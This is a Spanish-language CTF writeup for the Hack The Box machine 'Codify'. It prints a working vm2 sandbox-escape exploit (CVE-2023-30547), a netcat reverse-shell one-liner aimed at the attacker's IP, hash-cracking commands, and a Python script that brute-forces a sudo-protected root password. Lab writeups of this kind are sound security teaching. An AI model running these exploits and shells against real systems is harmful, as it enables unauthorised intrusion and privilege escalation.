HTB Codify writeup
Resumen ||
Reconocimiento
Puertos
Realizamos un escaneo rápido de puertos y versiones de servicios a la máquina víctima:
└─$ nmap -p- -sV 10.10.11.239 -T5 -oN nmap.txt -vvv
Web
El puerto 80 tiene un servidor http activo:
A simple vista hay tres páginas: /limitations
, /about
, /editor
.
El servidor contiene una aplicación web que permite testear código Node JS. Una Reverse Shell sencilla en este lenguaje no funciona por los módulos restringidos:
La aplicación funciona mediante la libreria vm2 en la versión 3.9.16.
Penetración
Web
La versión 3.9.16 de la librería vm2 tiene una vulnerabilidad registrada como CVE-2023–30547, que permite escapar de las restricciones del editor. Con ello podemos ejecutar código malicioso y una reverse shell con la que acceder al sistema víctima.
Exploit
Haremos uso del siguiente PoC:
const {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('whoami');
}
`
console.log(vm.run(code));
Una vez confirmada la vulnerabilidad, el acceso es ya algo mecánico. Abrimos puerto en escucha:
nc -lvp <port>
Introducimos una reverse shell con el siguiente comando:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <your ip> <port> >/tmp/f
Una vez dentro, vamos a necesitar, por comodidad, una shell con todas sus funciones. Habrá que ejecutar lo siguiente:
script /dev/null -c bash
tty
CTRL+Z
stty raw -echo;fg
reset
xterm
export TERM=xterm
En /home
vemos un usuario posiblemente vulnerable: joshua
En /var/www/contact
hay un archivo SQLite con un hash en bcrypt.
Con John The Ripper se tarda menos de treinta segundos en hacerse cargo de ella:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=bcrypt
Acceso y Escalada de Privilegios
ssh joshua@10.10.11.239
Aquí está la flag user.txt
.
Para escalar privilegios vamos a revisar qué puede hacer nuestro usuario Joshua:
Parece ser que podemos ejecutar un comando con permisos sudo que pregunta por la contraseña root.
Está programado con ciertas vulnerabilidades de seguridad. Como la comparación if viene en doble corchete, el programa leerá por igual [[$DB_PASS == Pass]]
que [[$DB_PASS == P*]]
. Esto nos permite adivinar la contraseña mediante fuerza bruta, testando cada dígito 1 a 1. Probando [[$DB_PASS == a*]]
[[$DB_PASS == b*]]
… La teoría detrás de esto se puede leer aquí.
El camino fácil es construir un script en python que lo automatice.
import string
import subprocess
all = list(string.ascii_letters + string.digits)
password = ""
found = False
while not found:
for character in all:
command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
if "Password confirmed!" in output:
password += character
print(password)
break
else:
found = True
Lo creamos en /tmp
, le damos permisos de ejecución y nos da la contraseña en cuestión de minutos.